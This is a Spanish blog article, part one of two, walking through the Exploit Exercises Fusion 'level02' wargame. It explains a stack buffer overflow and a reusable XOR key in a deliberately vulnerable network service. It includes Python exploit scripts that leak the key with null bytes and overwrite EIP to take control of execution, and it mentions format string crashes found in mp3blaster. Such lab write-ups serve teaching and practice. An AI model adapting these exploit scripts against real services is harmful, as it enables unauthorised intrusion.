Tras el descubrimiento hace unos días de una
vulnerabilidad de cadenas de formato en el reproductor de consola mp3blaster que me sirvió para ilustrar algunas de las cosas que cuento en el
libro de Linux Exploiting me sentí impulsado a seguir investigando hasta descubrir otros
bugs de la misma clase que se producían con el modo debug activado: tan simple como marcar como malo (comando "
b") un fichero
mp3 con un nombre como
"%n" o cambiar el título de un grupo con una cadena similar y luego grabar la playlist (
F5 y
F4 respectivamente).
Todas estas acciones conducían a una violación de segmento o una detección por parte de la protección
FORTIFY_SOURCE. Sea como fuere, cada vez que el reproductor se colgaba, una sonrisa se delineaba suavemente sobre mi rostro. Más que el descubrimiento de las vulnerabilidades en sí, la pregunta más difícil de responder era por qué se producía esta inevitable reacción en mi interior. Si no es por fama ni por dinero, ¿por qué nos recorre un escalofrío cada vez que un segfault se vuelca por pantalla?
En mi caso, y en el de muchos otros, la respuesta quizás se halle en el ansia de curiosidad y entretenimiento que nos han inculcado la resolución de
wargames. Para aquellos que además de vender sus
exploits al mejor postor también comulguen con el espíritu del
wargaming, me gustaría compartir las alegrías y penurias de la resolución de un reto de
exploiting, para que recuerden que el dinero no lo es todo, que el
hacking se encuentra en esa parte del cuerpo que se acelera y te hace saltar de la silla cuando una
shell de comandos viene de vuelta de un servidor explotado.
El código que se muestra a continuación pertenece al "
level02" de la máquina virtual
Fusion de la página de
Exploit Exercises.
#define XORSZ 32
void cipher(unsigned char *blah, size_t len)
{
static int keyed;
static unsigned int keybuf[XORSZ];
int blocks;
unsigned int *blahi, j;
if(keyed == 0) {
int fd;
fd = open("/dev/urandom", O_RDONLY);
if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);close(fd);keyed = 1;
}
blahi = (unsigned int *)(blah);
blocks = (len / 4);
if(len & 3) blocks += 1;
for(j = 0; j < blocks; j++) {
blahi[j] ^= keybuf[j % XORSZ];
} }
void encrypt_file()
{
unsigned char buffer[32 * 4096];
unsigned char op;
size_t sz;
int loop;
printf("[-- Enterprise configuration file encryption service --]\n");
loop = 1;
while(loop) {
nread(0, &op, sizeof(op));
switch(op) {
case 'E':
nread(0, &sz, sizeof(sz));
nread(0, buffer, sz);
cipher(buffer, sz);
printf("[-- encryption complete. please mention "
"474bd3ad-c65b-47ab-b041-602047ab8792 to support "
"staff to retrieve your file --]\n");
nwrite(1, &sz, sizeof(sz));
nwrite(1, buffer, sz);
break;
case 'Q':
loop = 0;
break;
default:
exit(EXIT_FAILURE);
}
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *p;
background_process(NAME, UID, GID);
fd = serve_forever(PORT);
set_io(fd);
encrypt_file();
}
Las protecciones activadas son:
ASLR,
Non-Executable Stack y
Non-Executable Heap.
La función
encrypt_file() define un
buffer de
131072 bytes, pero si el atacante envía por medio del
socket el carácter o comando
'E', el siguiente valor entero que envíe será la cantidad de
bytes que
nread() leerá e introducirá en
buffer[], por lo que la vulnerabilidad es obvia, el usuario y no el programador es quien finalmente decide cuántos
bytes quiere copiar.
Hasta ahí correcto, como de costumbre lo primero que se intentará será una sobrescritura del registro
EIP. Cabe mencionar que como el programa ha asociado la salida estándar con el
socket, toda función
printf() o
write() nos enviará su contenido a través de la red, nuestra prueba de concepto tiene en cuenta este detalle a la hora de recibir las respuestas.
from socket import *
from struct import *
from time import *
sk = socket(AF_INET, SOCK_STREAM)
sk.connect(("192.168.0.119", 20002))
size = pack("<I", 132000)
print sk.recv(57, MSG_WAITALL)
sk.send("E")
sk.send(size)
sk.send("A"*132000)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(132000, MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
Una de las primeras penurias y el motivo de usar el parámetro
MSG_WAITALL con tamaños exactos, consistía en que el carácter de nueva línea
"\n" (byte 0x0a) que envía el servidor en sus mensajes
(printf()), llegaba en un paquete
TCP independiente del mensaje, lo que con una llamada a
recv() normal daba problemas. Como siempre,
Wireshark fue la herramienta perfecta para darme cuenta de lo que realmente estaba ocurriendo en los cables.
Por otro lado, el envío del comando
"Q" es imprescindible para hacer que
encrypt_file() salga del bucle y la función con el
stack corrupto retorne. El detalle está en que después del envío del
payload podríamos enviar directamente el comando
"Q" sin ejecutar las tres llamadas a
recv(), pero entonces el resultado obtenido sería el siguiente:
 |
Figura 1: Resultado obtenido |
La señal
SIGPIPE se debe a que el servidor intenta enviar datos cuando el cliente o atacante ya ha cerrado el
socket. En cambio, si seguimos el protocolo y ejecutamos el
script anterior tal cual se muestra, el resultado sería el de la siguiente imagen.
 |
Figura 2: Resultado tras la ejecución del script |
Esto ya luce mucho mejor, una violación de segmento debido a la sobrescritura del registro
EIP con una dirección de memoria inválida. El siguiente problema es que
EIP no luce el deseado
"0x41414141". No es ninguna sorpresa. La función
encrypt_file() llama a
cipher(), cuya misión es cifrar los datos enviados por el atacante con una clave aleatoria de
128 bytes generada mediante el dispositivo
/dev/urandom. El segundo fallo de seguridad es que el uso de la variable
keyed estática causa que la clave se genere "
una sola vez por conexión", con lo que los datos enviados por el atacante en distintas peticiones siempre se cifran con la misma clave.
Además la función de cifrado
XOR es reversible y el resultado es enviado al atacante, tan solo hace falta realizar una operación
XOR entre el mensaje original enviado y el recibido para obtener de nuevo la clave. En este punto se me ocurrió una idea un poco más sencilla, ya que podemos enviar
bytes NULL (0x00), lo único que precisamos es enviar
128 bytes 0x00 y la respuesta que recibamos será directamente la clave de cifrado (recordad que
n XOR 0 = n). Con la clave en la mano, podemos volver a cifrar nuestro payload original (
"A"x132000) y esperar resultados:
from socket import *
from struct import *

from time import *
sk = socket(AF_INET, SOCK_STREAM)
sk.connect(("192.168.0.119", 20002))
size = pack("<I", 128)
print sk.recv(57, MSG_WAITALL)
sk.send("E")
sk.send(size)
sk.send("\x00"*128)
msg = sk.recv(120, MSG_WAITALL)
buf = sk.recv(4)
size = unpack("<I", buf)[0]
print "[+] Recibido: " + str(hex(size)) + " bytes"
key = sk.recv(size, MSG_WAITALL)
print "[+] Clave: " + key.encode("hex")
orig_payload = "A"*132000
payload = ''
for i in range(len(orig_payload)):
payload += chr(ord(orig_payload[i]) ^ ord(key[i % 128]))
payload_size = pack("<I", len(payload))
print "[+] Enviando " + str(len(payload)) + " bytes"
sk.sendall("E")
sk.sendall(payload_size)
sk.sendall(payload)
sk.recv(120, MSG_WAITALL)
sk.recv(4, MSG_WAITALL)
sk.recv(len(payload), MSG_WAITALL)
sleep(0.2)
sk.sendall("Q")
 |
Figura 3: El exploit consigue el control del flujo |
Precioso. Hemos culminado la primera fase de un proceso de
exploiting, tenemos control sobre el flujo de ejecución de la aplicación vulnerable. Eso se verá en la segunda parte de este artículo.
Feliz Hacking!!!
Autor: blackngel autor del libro Linux Exploiting
****************************************************************************************
-
Wargames y la alegría de un SegFault (1 de 2). No todo es dinero.
-
Wargames y la alegría de un SegFault (2 de 2). No todo es dinero.
****************************************************************************************